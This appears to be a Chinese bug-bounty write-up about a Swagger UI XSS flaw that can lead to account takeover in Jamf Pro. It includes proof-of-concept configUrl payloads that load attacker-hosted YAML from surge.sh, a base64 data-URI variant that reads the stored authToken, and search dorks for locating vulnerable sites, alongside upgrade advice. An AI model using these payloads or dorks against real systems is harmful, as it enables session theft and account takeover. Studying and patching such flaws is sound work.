声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。 |
背景介绍:
该漏洞已在 2021 年初修复,但是仍然能够在许多公司中利用它,例如Paypal、Atlassian、Microsoft、GitLab、Yahoo等等。
GitLab甚至为后来的存储型XSS给出了$2000的赏金奖励。
GitLab 存储型XSS漏洞
受影响版本:
受 XSS 影响的 Swagger UI 版本为 >=3.14.1 < 3.38.0,如果各位手里有之前挖到的Swagger UI站点,可以挖一波了哦,如果挖到的话,不妨跟我分享一下哈~
XSS POC:
?configUrl=https://jumpy-floor.surge.sh/test.json
而这个test.json文件真正指向的是test.yaml文件。
https://jumpy-floor.surge.sh/test.yaml
随便找个存在漏洞的Swagger-UI站点,测试一下:
漏洞搜索:
Google Dork:
intext:"Swagger UI" intitle:"Swagger UI" site:Target.com
GitHub Dork:
/swagger-ui-dist": "3.[1-3]/ path:*/package.json
账户接管漏洞:
这个漏洞在很多不同的系统中都很常见,白帽子在 Jamf 中也发现了它,那么 Jamf 是什么?
Jamf Pro 是适用于 Apple 平台的综合企业管理软件,可简化 Mac、iPad、iPhone 和 Apple TV 的 IT 管理
Jamf 通常在443或者8443的端口上运行,Swagger UI 可以在 /classicapi/doc/ 下找到。
Jamf Pro 将身份验证令牌存储在authToken密钥下的本地存储中,下面的 POC可以将Token从本地存储中打印出来:
POC有所不同:
?configUrl=data:text/html;base64,ewoidXJsIjoiaHR0cHM6Ly9leHViZXJhbnQtaWNlLnN1cmdlLnNoL3Rlc3QueWFtbCIKfQ==
账户接管:
https://VULNERABLE_JAMF/classicapi/doc/?configUrl=data:text/html;base64,ewoidXJsIjoiaHR0cHM6Ly9zdGFuZGluZy1zYWx0LnN1cmdlLnNoL3Rlc3QueWFtbCIKfQ==
漏洞产生原因:
主要漏洞点是DOMPurify2.2.3,因为存在漏洞的 Swagger UI 版本使用了DomPurifyversion 2.2.2。
漏洞修复:
在swagger-ui-dist文件中查找package.json,检查版本是否 >=3.14.1 < 3.38.0,修复漏洞也很简单,只需将Swagger-ui更新到最新版本即可,当然如果你无法升级整个Swagger UI软件的话,升级DOMPurify版本也是可以的。
漏洞发现过程
这个漏洞发现的过程还是挺有趣的,干货比较多,有兴趣的同学可以通过点击下方“阅读原文”跳转至文章原文查看,看看作者是如何绕过过滤最终发现这个漏洞,并成功获得$赏金的。
====正文结束====
原文始发于微信公众号(骨哥说事):Swagger-UI 从XSS到账户接管